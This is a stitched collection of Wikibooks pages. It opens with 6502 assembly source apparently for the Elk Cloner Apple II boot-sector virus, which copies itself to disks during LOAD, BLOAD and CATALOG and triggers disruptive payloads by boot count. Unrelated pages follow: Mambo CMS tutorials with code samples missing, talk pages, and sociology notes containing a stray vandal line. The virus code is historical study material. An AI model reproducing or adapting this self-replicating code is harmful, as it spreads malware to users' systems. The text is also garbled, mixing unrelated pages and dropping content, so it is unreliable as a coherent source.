ORG $9000 VERSN	DFB $02 HIMEM	LDA #$FF STA $4C LDA #$8F STA $4D DOPTCH	LDA #$20 STA $A180 LDA #$5B STA $A181 LDA #$A7 STA $A182 RUNPTCH	LDA #$AD STA $A4D1 LDA #$B6 STA $A4D2 LDA #$AA STA $A4D3 LODPTCH	LDA #$4C STA $A413 LDA #>LOD STA $A414 LDA #BLOD STA $A35E LDA #CATALOG STA $A56F LDA #USRCMD STA $0B LDA #<USRCMD STA $0C BOOTUP	CLD JSR READ LDX $B3BF INX STX $B3BF JSR WRITE JSR DESTROY JMP $A180 TESTON	LDA #$00 STA FLAG1 LDA $AA68 STA $B7EA JSR READ LDA $B3C2 CMP VERSN BEQ TESTON1 LDA #$01 STA FLAG1 TESTON1	RTS LOD	JSR TESTON LDA FLAG1 CMP #$00 BEQ LOD1 JSR CLONE LOD1	JSR $A316 JMP $A416 BLOD	JSR TESTON LDA FLAG1 CMP #$00 BEQ BLOD1 JSR CLONE BLOD1	JSR $A2A8 JMP $A360 CATALOG	JSR TESTON LDA #$06 JSR $A2AA LDA $B5BF STA $AA66 LDA FLAG1 CMP #$00 BEQ RETURN JSR CLONE RETURN	LDA #$0 STA $B3BE STA $B3BF STA $B3C0 RTS CLONE	CLC JSR READ LDA IDENT STA $B3C0 LDA VERSN STA $B3C2 JSR WRITE LDA $AA68 STA $B7EA LDA #$02 STA $B7F4 STA $B7EC LDA #$08 STA $B7ED LDA #$0 STA $B7EB STA $B7F0 LDA #$95 STA $B7F1 CLONE1	LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE2 RTS CLONE2	DEC $B7ED DEC $B7F1 LDA $B7F1 CMP #$8F BNE CLONE1 LDA #$02 STA $B7F1 LDA #$01 STA $B7F4 STA $B7EC LDA #$0 STA $B7ED LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE3 RTS CLONE3	LDA #$4C STA $280 LDA #$00 STA $281 LDA #$9B STA $282 LDA #$02 STA $B7F4 LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE4 RTS CLONE4	LDA #$0 STA $B7EC LDA #$A STA $B7ED LDA #$95 STA $B7F1 LDA #$B7 LDY #$E8 JSR $B7B5 CLD RTS READ	LDA #$01 STA $B7F4 JMP VTOC WRITE	LDA #$02 STA $B7F4 VTOC	LDA #$11 STA $B7EC LDA #$0 STA $B7ED LDA #$BB STA $B7F0 LDA #$B3 STA $B7F1 LDA #$0 STA $B7EB LDA #$B7 LDY #$E8 JSR $B7B5 CLD RTS PRINT	STY $FC STA $FD LDY #$00 PRINT0	LDA ($FC),Y CMP #$00 BEQ PRINT1 JSR $FDED INY JMP PRINT0 PRINT1	RTS PRTMSG	LDY #>MSG LDA #REPORT LDA #UERR LDA #POEM LDA #ERRMSG LDA #<ERRMSG JSR PRINT JSR $FBDD JMP $9DBF ERRMSG	DFB $8D,$8D ASC 'I/O ERROR' DFB $8D,$00 DESTROY	LDA $B3BF CMP #10 BNE DEST1 LDA #$69 STA $3F2 LDA #$FF STA $3F3 JSR $FB6F RTS DEST1	CMP #15 BNE DEST2 LDA #$3F STA $32 RTS DEST2	CMP #20 BNE DEST3 LDA $C030 LDA $C030 LDA $C030 RTS DEST3	CMP #25 BNE DEST4 LDA #$7F STA $32 RTS DEST4	CMP #30 BNE DEST5 LDA #'I'	STA $B3A7 LDA #'T'	STA $B3A8 LDA #'B'	STA $B3A9 LDA #'A'	STA $B3AA RTS DEST5	CMP #35 BNE DEST6 LDA #$85 STA $AAB2 RTS DEST6	CMP #40 BNE DEST7 LDA #$00 STA $3F2 LDA #$03 STA $3F3 JSR $FB6F LDA #$4C STA $300 LDA #$00 STA $301 LDA #$03 STA $302 RTS DEST7	CMP #45 BNE DEST8 LDA #$80 STA $D6 RTS DEST8	CMP #50 BNE DEST9 LDA #>PRPOEM STA $3F2 LDA #<PRPOEM STA $3F3 JSR $FB6F RTS DEST9	CMP #55 BNE DEST10 LDA #$FF STA $BDD3 RTS DEST10	CMP #60 BNE DEST11 LDA #$20 STA $BDD3 RTS DEST11	CMP #65 BNE DEST12 LDA #$4C STA $A180 LDA #$69 STA $A181 LDA #$FF STA $A182 RTS DEST12	CMP #70 BNE DEST13 LDA #$10 STA $BDD3 RTS DEST13	CMP #75 BNE DEST14 JMP $C600 DEST14	CMP #76 BNE DEST15 JMP $C600 DEST15	CMP #77 BNE DEST16 JMP $C600 DEST16	CMP #78 BNE DEST17 JMP $C600 DEST17	CMP #79 BNE DEST18 JSR READ LDA #$00 STA $B3BF JSR WRITE RTS DEST18	RTS LOADER	ORG $9500 LDA #$02 STA $B7EC LDA #$01 STA $B7F4 LDA #$03 STA $B7ED LDA #$0 STA $B7EB STA $B7F0 LDA #$90 STA $B7F1 LOAD1	LDA #$B7 LDY #$E8 JSR $B7B5 INC $B7ED INC $B7F1 LDA $B7F1 CMP #$96 BCC LOAD1 JMP HIMEM

External link

 * Skrenta's page on Elk Cloner


text:
Self-Replicating Automata/List

List of Self Replicating Automata
This is a complete list of Self Replicating Automata analysed in the wikibook "Self-Replicating Automata". This is merely a source for cross referencing. To understand more completely the significance of these automata please follow the articles and the links in these pages.

 * 1) /Elk Cloner/
 * 2) /Brain/
 * 3) /Lehigh/
 * 4) /Jerusalem/

title: Self-Replicating Automata/List


text:
Mambo Open Source/Content

This chapter contains information about how to place content in mambo.

Samples
This section contains tutorials about good strategies of setting up sites of certain types.

 * Static info page
 * Blog with news

Misc

 * Creating multiple pages per content item
 * Content basics
 * Creating content
 * Content sections
 * Dealing with images

title: Mambo Open Source/Content


text:
Mambo Open Source/Development

This is a collection of guides and how-to's on the subject of developing in and for Mambo. There are none yet, but hopefully they are coming soon!

Modules
Create a simple module

title: Mambo Open Source/Development


text:
Mambo Open Source/Miscellaneous

Users

 * Which options will be available to the different user types?
 * User management basics

Non Mambo
Not directly Mambo related, but applies to mambo.

 * Chmod (change mode) to manage permissions (eg:  allows everyone to do everything).
 * Fix transparency of PNG files in Internet Explorer
 * Server-side scripting

Other
Stuff that doesn't fit into any category at all.

 * Mambo for a beginner

title: Mambo Open Source/Miscellaneous


text:
Mambo Open Source/Design basics

What are templates?
Templates allow you to define the look for your Mambo website. They are highly configurable, and can be used in many different ways. You can have more than one template in use on your site at a time. Additional templates can be completely different or subtle variations of each other, such as disabling Modules within particular areas of your Mambo website.

How do they work?
The templates are html and css documents. They are just like any other css or html document, only that instead of content written directly into them, you place variables such as "main content here", "left modules here", "banners here" and so on.

This means that you use Mambo to manage the content, and Mambo places the content the way you have specified within the template. Now you can easily change layout of a site, without having to do anything with the content itself. Mambo will just place the content in the variables you have defined in the new template as if nothing have happened.

On the other hand, this doesn't mean that you only can customize the elements around the content. Mambo fills the content with CSS-IDs and classes, so that you can use these tools to make the template decide which color and fonts and point sizes page elements should have. The behaviour and style of the menus, the margins between content images and text and a variety of other presentation decisions can be controlled by the template.

This is an example layout of a Mambo-template:

This is the layout template, and Mambo fills in the appropriate content where you define it to, as shown in this example.

Why templates?
The most noticeable advantage of the template system is the flexibility. If you have a regular static HTML-site and want to change the menu, you'll have to manually change this on every page on your site where your menu is shown. With Mambo (and all other template-systems), you only need to modify your template, and this will apply to every single page on your site - because of that the template only echo the content that Mambo creates. This saves you a lot of work, and is a very big advantage for designers and developers.

title: Mambo Open Source/Design basics


text:
Talk:Mambo Open Source

Please add comments and suggestions here! Use the + button right next to "edit this page" to add something.

 * Hi, suggest You leave this book here because it's difficult to find&use documents at mambo portal.--213.226.190.232 07:08, 11 May 2005 (UTC)

German Mambo-Wikibook
We have a German Mambo-Wikibook, too!

Have a look at de:Mambo

 * Thanks for letting us know! --August 10:54, 19 Jun 2005 (UTC)

TOC, version issues & categories
Hi, I'm thinking about:
 * 1) one full TOC for all articles about MOS here, and
 * 2)help relation to versions. For now it's not clear on what version of MOS (4.5,... 5.0,... ) installing/setting/tweaking articles are?

Should we need some categories system? --AndriuZ 10:45, 28 Jun 2005 (UTC)

according to rules, at least one category must be assigned :-), but the real reason is to create one flat browsable table of content ... so maybe
 * - |Category:MOS is OK, but where in: |Category:Computing |Category:Information Technology
 * - another trick is to use piped link, such as Category:MOS|1 to create and see some kind of workflow in categories page |Category:MOS ?
 * - is it possible to put into Template:MAMBOTOC so, that Category will be assigned to every article ? --AndriuZ 11:17, 28 Jun 2005 (UTC)

 * hope created not a big mess? --AndriuZ 11:43, 28 Jun 2005 (UTC)

 * I added the MOS category into the Template:MAMBOTOC_SMALL template. Now, the MOS category is automatically set on every article, as that template is mandatory for all articles in this book. --August 15:41, 28 Jun 2005 (UTC)

 * congr.nicesolution --AndriuZ 19:09, 28 Jun 2005 (UTC)

A new chapter: configuration
What do you guys think of adding another chapter called "configuration"? This could prove useful, as there are many of these types of articles that will be placed under the miscellaneous-chapter. --August 15:37, 28 Jun 2005 (UTC)

 * Let's make all this book like step_by_step instruction. Also I suggest to emphasise steps and links to the info with comments from our practice or forums, because even for two of us wouldn't be ease to put/edit all info in time to new versions...? --AndriuZ 19:36, 28 Jun 2005 (UTC)

 * I didn't understand any of that.. Can you explain again? And do you have MSN or skype? Lot easier to contact there. --August 22:19, 28 Jun 2005 (UTC)

 * Here will be more ease to explain... For now it's not clear for me the purpose and audience of this wiki-book. For now Official Mambo Help is not good. Lot of info is spreed in forums. I think it could be good guide through the all steps, needed to be performed while installing and configuring site from zero. --AndriuZ 22:46, 28 Jun 2005 (UTC)

 * What do you mean with "needed to be perfomed while installing and configuring site from zero"? If you write articles as unclear as you write here, i am getting a little scared.. --August 22:53, 28 Jun 2005 (UTC)

 * Please discuss 'subject of matter'. First please answer: the purpose and audience of this wiki-book? --AndriuZ 10:04, 29 Jun 2005 (UTC)

 * Well, the purpose is to inform and educate in mambo, the audience is everybody from beginner to pro. --August 10:55, 29 Jun 2005 (UTC)

 * :-))) Sorry (for future didactics), but those words means almost nothing (from the point of communication/education theory). I still miss some fundamentals in structure of this source of knowledge about MOS...
 * For example 1): there are objects (unfortunately without articles or links to primary source of info: Components, Modules, Templates, Mambots ...) and functions they carry also activities which could be neccessary to know how_to_perform (Mambo Open Source/Create, Install, Add, Edit, Config, Settings... Examples of use, Syntax is...) so articles and categories and TOC must help to quickly find things of interest. How do i fix that must be only article some kind of TOC redirecting to Frontpage with the section settings, not talking/explaining frontpage settings.
 * For example 2): MAMBOTOC and are eyes-popping, but without explanation where_which_to_use and not much of use - when we are in article it's not clear where we are. I still suggest to think about one flat TOC, for example as Wikipedia Community Portal... --AndriuZ 8 July 2005 15:37 (UTC)

 * As i have so far been the only major contributor to this book, i have not set up those kind of goals. My only goal have been to write down as clear as i could what i know about mambo. I don't think that the book should exclude content because of some rules set up, but i do agree that the organizing of the content is a key element. I will think about this and try to come to a conclusion of what the best way of organizing stuff is.

 * And another thing: the guidelines you mention (objects, functions etc) are things that i am 100% aware of, and i think that i have used that knowledge in my articles so far. Such guidelines would not be of use to me, as i am aware of it, but only useful for people who don't understand mambo that well - and why should those contribute to the book?

 * --August 9 July 2005 01:14 (UTC)

Manually inserted categories
ok.. as I understood You did book for yourself, then some bad boy came... and the hell started :-))), so For example 3): there are Cat..: included in Templ..:, but life shows that it's not good - when we are in the |Category:MOS we see Pages in category "MOS" all of them starting with M... :-( . We can try to fix like this (manually entering piped link) Category:MOS|Frontpage as i did in Mambo Open Source/Frontpage ... but Mambo Open Source/... remains in the Title :-((( --AndriuZ 21:34, 9 July 2005 (UTC)

 * I am aware of this, but don't think that it is important at all. People should browse the book by the tocs created in the book, and not the category pages.

 * Who told that :-))) ? As far as I know&understand Wiki - Categories system was created to automatically create/maintain lists (let's say Indexes as in books). TOC's also are automatically generated at the article's page :-))) So - why You like manual (hand) work ? --AndriuZ 18:31, 10 July 2005 (UTC)

Naming conventions
Should article titles Name:Section must be renamed instead of Name/Section ? --AndriuZ 00:30, 10 July 2005 (UTC)

 * That is correct, the names should be Mambo Open Soure/Article.

Multilanguage
Hi, I think Mambo Open Source/Multilanguage is needed to explain how to setup more than one language, also description of Mambo Open Source/Components (and others) Mambelfish section (or article?) somewhere must find place. What You think? --AndriuZ 19:17, 10 July 2005 (UTC)

 * I really think that there are other subjects than multilanguage that is important. I will prioritize the management of content and noob guides --August 22:13, 10 July 2005 (UTC)

 * I don;t understand what mean to prioritize the management of content ? Please specify other subjects that is important ? --AndriuZ 13:38, 11 July 2005 (UTC)

title: Talk:Mambo Open Source


text:
Mambo Open Source/Create your own template

This article is a tutorial on how to create a template from scratch.

Templates are located in the directory /mambo_dir/templates. The following is a typical structure for a template directory: /templates /basic_template /css template_css.css /images index.php template_thumbnail.png templateDetails.xml

where each file is for:
 * index.php : template layout file.
 * template_css.css : css stylesheet for the template.
 * templateDetails.xml : metadata file in XML format.
 * template_thumbnail.png : reduced screenshot of the template (140px wide x 90px high)

To make a template this is the minimum set of files needed. The core script of MOS expects these files names. Note that while there are no images shown in the /images directory, this is typically where you would place any supporting images for your template, like backgrounds, banners, etc.

Create the files
Some basic files are needed for a mambo template to function properly.

Begin with creating a folder for your template in your sites templates-directory. Call it something appropriate, e.g. "myfirst" or "corporate_yellow" (anything goes), and open it. This is the root folder of your template.

templateDetails.xml
Then create a file called "templateDetails.xml". This file contains all technical info about your template, and should look something like this for now (it will be expanded later):

This file is the reference for Mambo, and shows the name of the template and the name of all the other files. As you can see, there are references to a php-file, some images and a CSS-file.

Not all fields here are required, but use as many of them as you can.

Index.php
Now, you can start with the index.php-file. This is where you shall place all HTML code and this will be the template's main source of output. Create the file called index.php and open it. This is the basic content of the file which is required for Mambo operation:

As I assume you know basic HTML, you should know that the content and the template itself is to be placed in the tags of the template. Here you can use whatever method you like for content organization, e.g., div-tags or tables. I'll use tables in this example.

This is my planned layout:

This is the HTML code for this layout to be placed in the body-tags:

You can see that this layout has some simple static text in it, such as "left modules" and "Some footer text." Now I will replace this text with dynamic Mambo variables.

Site name
Mambo has a variable for the site name, and this variable is mainly used in the page title and when sending e-mails etc with Mambo. This variable can also be echoed in the template, and this is what will be done here. Of course, you can also write the name of the site directly into the template, but it is more appropriate to use this variable, as it makes the template more dynamic.

This is what the variable looks like:

Now, when entering php code into a template, you'll need to use the php-tags for this, so that PHP will render the variable into what it is. Then it will look like this:

Place this line in the template, instead of the SITE NAME-text that is there now.

Pathway
The pathway uses a similar dsg:

Modules
In the layout you can see something called left- and right modules. This is a core function of Mambo, and is used to place small "boxes", or modules, that can be e.g. a main menu, user login, newsflashes, most viewed items and so on. The term left and right is simply different module positions, and they can be chosen in Mambo.

Anyway, here is the codes:

Replace the "Left modules"-text with this:

The right modules are very similar:

The main content
I will not explain much here, other than the way to do this is the same as with the above things; insert this where you want the main content to appear:


text:
Mambo Open Source/Server requirements

Server - Apache
Mambo Open Source is designed and developed to support Apache, but it may work on IIS and other server types and clients. Since Apache is the preferred server, this article will only mention Apache.

The operating system Apache is installed on can be anything that the Apache platform supports, but it is Linux, Mac OS X, Windows 2000/XP and BSD that has been tested properly. Unix based systems are recommended, for security and performance reasons.

Apache HTTP server

PHP
PHP will need to be installed and configured with Apache. Version 4.1.2 or newer is required. The MySQL and zlib modules must also be installed into PHP. There are tons of guides telling you how to do this, hopefully someone will create one here too.

PHP also needs to have a writable session save path. This is configured in the php.ini-file with the line session.save_path = /path. PHP need to have full access to the folder specified here. On a windows system, this path will be something like session.save_path = C:\Program Files\Something, while a unix system has the session.save_path = /home/var/www-system.

Here is a useful link for Windows users: Thread at Mamboserver.com.

PHP official site

MySQL
The final ingredient is the MySQL database server. Mambo has been tested on MySQL 4.0 and 4.1 and can also run on later 3.0 releases.

title: Mambo Open Source/Server requirements


text: Template:Mambo Open Source/TOC small

title: Template:Mambo Open Source/TOC small


text:
Mambo Open Source/Style reference

This are the rules for all modules in the Mambo Open Source book. Follow them without exceptions!

Naming of content items
Name content item like this: Mambo Open Source/Name of item.

Include the chapter list
Add to the top of every chapter of the book. This outputs the small table of contents, called chapters, and is needed for proper navigation in the book. This will also place pages in the | category.

title: Mambo Open Source/Style reference


text:
Mambo Open Source/Resources

This is a list of useful resources for Mambo Open Source.

Official Sites

 * The Source - official site
 * Bug Tracker
 * The official forum
 * The Mambo Foundation
 * Mambo Code forge
 * Mambo Manual - official documentation wiki

Portals

 * PortalMambo - The spanish community portal for Mambo!
 * Mamboportal - the largest Mambo community has 300 templates online (as of 2005.07)
 * MamboHut.Com - can preview hundreds of templates live
 * MamboAwards - gives awards to good Mambo sites
 * Mambo hosting reviews
 * MamboDirect
 * Mambo Hub
 * MamboPT
 * Mambo Communities

Templates

 * MamboHut - the largest database of templates available
 * Mamplates - Commercial and free Mambo Templates
 * MamboOS - Many free Mambo Templates
 * Mambo templates, free Mambo templates
 * SursumMedia - Commercial Mambo Templates and Multimedia Productions

International

 * Tu comunidad en español para Mambo!
 * Spanish languague site about mambo
 * Polish community
 * Mambo Indonesia
 * Russian Coordinator and Partner Site Administrator: Dima Kudryavtsev
 * Dutch Mambo community

title: Mambo Open Source/Resources


text:
Sociological Theory/Social Learning Theory

Theory
Observational learning or social learning refers to learning that occurs as a function of observing, retaining and replicating behaviour observed in others. It is most associated with the work of psychologist, who implemented some of the seminal studies in the area and initiated social learning theory.

Although observational learning can take place at any stage in life, it is thought to be particularly important during childhood, particularly as authority becomes important.

Because of this, social learning theory has influenced debates on the effect of television violence and parental role models. Bandura's Bobo doll experiment is widely cited in psychology as a demonstration of observational learning and demonstrated that children are more likely to engage in violent play with a life size rebounding doll after watching an adult do the same.

Observational learning allows for learning without any change in behaviour and has therefore been used as an argument against strict behaviourism which argued that behaviour change must occur for new behaviours to be acquired.

Required conditions
Bandura called the process of social learning modelling and gave four conditions required for a person to successfully model the behaviour of someone else:

 * Attention to the model
 * A person must first pay attention to a person engaging in a certain behaviour (the model).

 * Retention of details
 * Once attending to the observed behaviour, the observer must be able to effectively remember what the model has done.

He talked a lot about sponge cake

 * Motor reproduction
 * The observer must be able to replicate the behaviour being observed. For example, juggling cannot be effectively learned by observing a model juggler if the observer does not already have the ability to perform the component actions (throwing and catching a ball).

 * Motivation and Opportunity
 * The observer must be motivated to carry out the action they have observed and remembered, and must have the opportunity to do so. For example, a suitably skilled person must want to replicate the behaviour of a model juggler, and needs to have an appropriate number of items to juggle to hand.

Effect on behaviour
Social learning may effect behaviour in the follow ways:
 * Teaches new behaviours
 * Increases or decreases the frequency of which previously learnt behaviours are carried out
 * Can encourage previously forbidden behaviours
 * Can increase or decrease similar behaviours. For example, observing a model excelling in piano playing may encourage an observer to excel in playing the saxophone.


text:
Sociological Theory/Exchange Theory

Theory
Social Exchange Theory (sub of Reinforcement): -assumes freedom of choice and situations that require decision making; cost/benefit analysis -people are hedonistic - they try to maximize rewards and minimize costs -views social relationships primarily as exchanges of goods and services among persons -include equity theory here as: predicting the conditions under which people try to change or restructure their relationships; a state of equity exists in a relationship when participants feel that the rewards they receive are proportional to the costs they bear

Social exchange theory is a social psychological perspective that explains social change and stability as a process of negotiated exchanges between parties. Social exchange theory posits that all human relationships are formed by the use of a subjective cost-benefit analysis and the comparison of alternatives. For example, when a person perceives the costs of relationship as outweighing the perceived benefits, then the theory predicts that the person will choose to leave the relationship.

The early permutations of Social Exchange Theory stem from Gouldner's (1960) norm of reciprocity, which simply argues that people aught to return benefits given to them in a relationship. Later modifications to this theory focus attention on relational development and maintenance rules (see Murstein et al.) [added by J.P. Boren, 2005]

For social exchange theorists, when the costs and benefits are equal in a relationship, then that relationship is not equitable. The notion of equity is a core part of social exchange theory.

Social exchange theory is intimately tied to rational choice theory, and features all of its main assumptions.

Rational choice theory is a way of looking at deliberations between a number of potential courses of action, in which "rationality" of one form or another is used either to decide which course of action would be the best to take, or to predict which course of action actually will be taken. Such a perspective finds itself in models for both human behavior and behavior of non-human but nonetheless potentially rational entities, such as corporations.

Obviously, what is taken as "rational" is of chief importance here. This varies with context:
 * The technical meaning in economics is about preferences: preferences are defined to be rational if they are complete and transitive. That is, that the decision maker is able to compare all of the alternatives, and that these comparisons are consistent.  See the preferences page for further explanation.
 * If uncertainty is involved, then the independence axiom is often assumed in addition to rational preferences.
 * Rationality can also mean that the decision maker always chooses the most preferred option, as in the Utility Maximization Problem.

Often, to simplify calculation and ease prediction, some rather unrealistic assumptions are made about the world. These can include:

 * An individual has precise information about exactly what will occur under any choice made. (Alternatively, an individual has a reliable probability distribution describing what will happen under any choice made.)
 * An individual has time and ability to weigh every choice against every other choice.
 * An individual is fully aware of all possible choices.

Assumptions such as these have sparked criticism from a number of camps. Some people have tried to create models of bounded rationality, which try to be more psychologically plausible without giving up completely on the idea that some kind of reason underlies decision-making processes.

Why rational choice theory?
One question that can be asked is why people try to base their models on concepts such as "reason", "preferences", and what is implied by them, free will. Some potential reasons:

 * They see people as "rational" beings, and thus believe that a model in which they are represented as such should be reasonably accurate
 * Assumptions of rationality have useful formal properties

Various researchers has found some limits to this theory, under the name of bounded rationality, an element used for example in behavioral economics.

title: Sociological Theory/Exchange Theory


text:
Mambo Open Source/Chmod

chmod is the command and system call which may change the access permissions to file system objects (files and directories).

Examples

 * : allows everyone to do everything on the file.
 * : forbids to anyone to do anything on the file.

title: Mambo Open Source/Chmod


text:
Mambo Open Source/Administration basics

This article explains basics about the administrator section in mambo, and how to use it.

What is the administration in mambo?
The administration part of Mambo (often called Backend) is a key element. What mambo does is managing your content, and it is in the administration you do this. Here you have all the settings, you administer the menu, add and manage content, upload files to the download manager and so on.

The administration section of mambo is often called "the backend" in the mambo community.

How to get there
You get to the administration panel by entering an address in the address field of the browser (the field where you enter url's). If your sites url is www.yoursite.com, the url to the admin section is www.yoursite.com/administrator. If the address is www.yoursite.com/folder, the access to admin can be gained through www.yoursite.com/folder/administrator.

If you just installed mambo, and chose to install it with sample data, you can find a link to the administrator panel in the menu.

Log in
When you enter the admin-section, you'll first get prompted for a username and password. If you haven't done anything with this after the installation, the username is admin and the password is the one you specified during installation.

Enter the appropriate values here, and it will take you to the administration part of mambo.

The admin panel
Now you see the admin panel, if everything worked prior to what mentioned above.

On the top of the page, below the logo, is the drop-down menu. Here are the links to perform all available tasks in mambo. Although, depending on access level which tasks shown may vary from user to user. But with the default admin account, you will have access to everything. See the user access article for more info about access levels.

In the middle to the left are the quickicons. These icons can be used to perform the most frequently performed tasks, as user management, content writing, menu management and image uploading.

This is the basics of administration, see other articles in this book for more details and further progress.

title: Mambo Open Source/Administration basics


text:
Mambo Open Source/Which options available for each usertype

There are a number of different user types in Mambo, and it can be useful to know that privileges and rights each user type has. Sometimes, you may want a user to be able to write content but not publish it - there are user types for this.

Guest
The guest user is anyone visiting your website that has not logged in yet. Your site visitors can view all content and utilize all feature of the website that are available to all users including guests.

All other user levels have the same privileges as the guest user along with additional capabilities.

Registered user
The registered users will have access to all menu items in the class "public" and "registered". The user will also have access to edit its own user details such as password and real name

Author
Access to the "new" buttons that shows under the articles when browsing a content category. Can't publish new articles, and cannot edit existing ones.

Editor
Can edit already published articles, as well as create new ones. Cannot publish articles.

Publisher
A publisher can create items, save them and publish them - a publisher can in other words publish articles on the front page without any approval from admininstrators.

Manager
Access these menu-items:

 * Home
 * Site
 * Media Manager
 * Preview
 * Statistics
 * Menu (with all available menus)
 * Content (all content)
 * Help

These Quickicons are available:

 * Help
 * All Content Items
 * Static Content Manager
 * Front page Manager
 * Section Manager
 * Category Manager

Administrator
Access these menu-items:

 * Home
 * Site
 * Media Manager
 * Preview
 * Statistics
 * Trash manager
 * User manager
 * Menu (with all available menus)
 * Content (all content)
 * Components (all components)
 * Modules
 * Mambots
 * Installers
 * Help

Quickicons available:

All except from Global Configuration.

Super Administrator
All links and quickicons available - can edit, modify and change every option available. Has access to database functions.


text:
Mambo Open Source/Creating content

Content can be created or edited from both the frontend of your Mambo website or from the Administration backend. In both cases it is required that you have logged in. For basic explanations of content items, see content basics-article. You can also read the administration basics article

From frontend
Browse to the content category were you want the article - e.g. "news > latest news". Here you can see a list of all the content items in the category, or a pagination or something similar. Somewhere on this page a "new"-icon shows up. Press this, and you enter the "new content item"-section.

Write the content as usual. On the bottom of this page, below the text fields, you can see some tabs and some parameters. Enter the parameters here as usual.

Press the save-button at the top of the page.

From backend
At the main page of the backend (the home-link), use the "All content items"-button in the quickicons-section. Here you get a list of all the content items available. Press the "new" button in the toolbar.

This takes you to the standard inputbox-view. Write content, and choose content section and category in the drop-down menus to the right of the items "title" and "alias"-fields.

The parameters box appear on the right of the inputs, and this should be configured the way you want it to.

title: Mambo Open Source/Creating content


text:
User talk:August~enwikibooks

Give me comments and feedbacks here! Press the + icon to the right of the "edit this page" tab on the top of this page.

Reverting page move vandalism
The way to revert page-move vandalism is to move the page back to its original name, not to copy &paste the original page onto the new one. '''Copy&paste "moves" are bad. Don't do them.''' Unfortunately, you've stopped other people from fixing the vandalism properly, and now we have to wait for an administrator to delete the new page so that Ass Pus in Progress can be moved back to its original location. Please don't do that again. Uncle G 09:26, 24 Apr 2005 (UTC)

 * It's not so bad. The deletion is done, and the page moved. Gentgeen 09:47, 24 Apr 2005 (UTC)

Wikiversity School of Music
Please see my comments on the [Wikiversity:School of Music] page. While the content you've created is good, it does not belong within the SOM namespace, it is a textbook you've written, not a Wikiversity section. Jamesbooker

Moving vs Removing
Hi, You just removed global configuration. maybe better idea could be to move to better place? --AndriuZ 23:54, 27 Jun 2005 (UTC)

 * Hi,

 * I removed it as it wasnt a part of the installation. I am sorry if that might seemed harsh, i don't want to scare away contributors, so thanks for contacting me! I have added an article for the global configuration under the miscellaneous chapter, and a new configuration-category. *A link to the article.

 * Please feel free to do more contributions - and i will try to take it to the discussion page before simply deleting stuff.. =)

 * --User:August 00:01, 28 Jun 2005

 * Hi, I have nothing against discussions, but time is passing :-) The same was my first idea Category:mambo open source, but it is too long for inserting... so then I reconsidered when did 2 levels of Categories, see :
 * -, - only for first Article Mambo Open Source
 * - - for all other articles...
 * Let's move this discussion to Mambo page? --AndriuZ 14:13, 28 Jun 2005 (UTC)

 * All this sound very good to me! Are you planning to write some content in this book too? I would very much like that, you'd be the first one besides me to acualt write an article here - all edits in this book that i didn't do so far were corrections of typos (exept from some additions in the resources-page).

 * --August 15:18, 28 Jun 2005 (UTC)

book rating.
Ok, it's new and not widely used but there is a template to rate the books: and. Important - in the dynamic wiki environment - is the date when the rating was issued.

Explanation
In the beginning the rating of pages was just done by a small icon (you know 0%.png, 25%.png) etc. pp. and most pages are still rated this way.

However it is suggested that any new rating is done with the templates above. This templates also show the date when the rating was done.

See Help:Development_stages for more details on how to rate a book.

--Krischik 05:26, 29 Jun 2005 (UTC)

What should we do?
I am aware of this new system, as I just implented it into the norwegian wikibooks. But i had no idea it was new! Anyway, should I just go ahead and use those templates? And rate it to 50%?

Yes
Shure, i.E. I changed all ratings for Programming:Ada - at least when I found them.

It's done
Fixed the rating of the mambo open source book in the it-bookshelf template. --August 14:26, 30 Jun 2005 (UTC)

Gambling to a Million

 * There are other one-page wikibooks, like How to Tie a Tie; furthermore, is the Jokebook really educational? Charlie123 5 July 2005 16:27 (UTC)

 * Well, i think that books like how to tie a tie and gambling to a million really should go away and be deleted - they are small and un needed, and as you can see, both have now been removed. None of those could have been called a book, ad it was one page only. If you had created a book, and started on a book, that could expand and be contributed to, and not a single page, chances are that no one would have deleted it. But one page only books, that you actually claimed to be 100% complete, has nothing in the wikibooks to do.

 * Actually, I urge you to create a book about gambling that is a book, and not one page. If you do that, i will support it. I agree that a book about gambling, and the jokebook are not for educational puspouses, but as long as they are used and contributed to i find them very useful to have at the wikibooks.

 * --August 5 July 2005 22:21 (UTC)

Table of contents
see answer moved to Talk:Mambo Open Source/Table of contents

discuss things before doing them

 * on subject : discuss things before doing them - I fully agree for big rearengements (if we will agree a time for responce, for example 3 days?), but for the other things - its really takes less time to make improvement without discussion. You and me could easily track changes... and revert if really don't like --AndriuZ 13:58, 11 July 2005 (UTC)
 * Hi, I did translation about some guy impression, see User:AndriuZ/SandboxMamboMambo4.5.3 --AndriuZ 20:54, 11 July 2005 (UTC)

Images
As you can see at the top of this page, "All unlicensed images uploaded to wikibooks before November 1, 2006 will soon be deleted." You have uploaded images and some of them are untagged. You can see them here. Please review them and add appropriate tags. If you have any questions, feel free to ask me. --Think Fast 04:37, 13 November 2006 (UTC)

Your account will be renamed
Hello,

The developer team at Wikimedia is making some changes to how accounts work, as part of our on-going efforts to provide new and better tools for our users like cross-wiki notifications. These changes will mean you have the same account name everywhere. This will let us give you new features that will help you edit and discuss better, and allow more flexible user permissions for tools. One of the side-effects of this is that user accounts will now have to be unique across all 900 Wikimedia wikis. See the announcement for more information.

Unfortunately, your account clashes with another account also called August. To make sure that both of you can use all Wikimedia projects in future, we have reserved the name August~enwikibooks that only you will have. If you like it, you don't have to do anything. If you do not like it, you can pick out a different name.

Your account will still work as before, and you will be credited for all your edits made so far, but you will have to use the new account name when you log in.

Sorry for the inconvenience.

Yours, Keegan Peterzell Community Liaison, Wikimedia Foundation 23:00, 17 March 2015 (UTC)

Renamed
 This account has been renamed as part of single-user login finalisation. If you own this account you can |log in using your previous username and password for more information. If you do not like this account's new name, you can choose your own using this form after logging in: . -- Keegan (WMF) (talk) 04:36, 19 April 2015 (UTC)

title: User talk:August~enwikibooks


text:
Mambo Open Source/PNG alpha

Some browsers, among those Internet Explorer, doesn't show transparency on transparent png-images. Instead, a grey colour is shown. This fixes the problem, but only for Internet Explorer (Win). NB! This problem doesn't affect Firefox, Opera and Netscape.

Why png?
Many people say that one can use gif images - both Internet Explorer, Firefox, Opera and all major browsers support transparency in gif images. The thing is that transparency is pretty bad and lossy in quality compared to png images. Regular transparency with hard edges are no problem, but shadow and transparent gradients are no good with gif. Png can do this without problems, tough, only that Internet Explorer (Win) doesn't support it (IE for Mac does).

Adding code to the relevant page
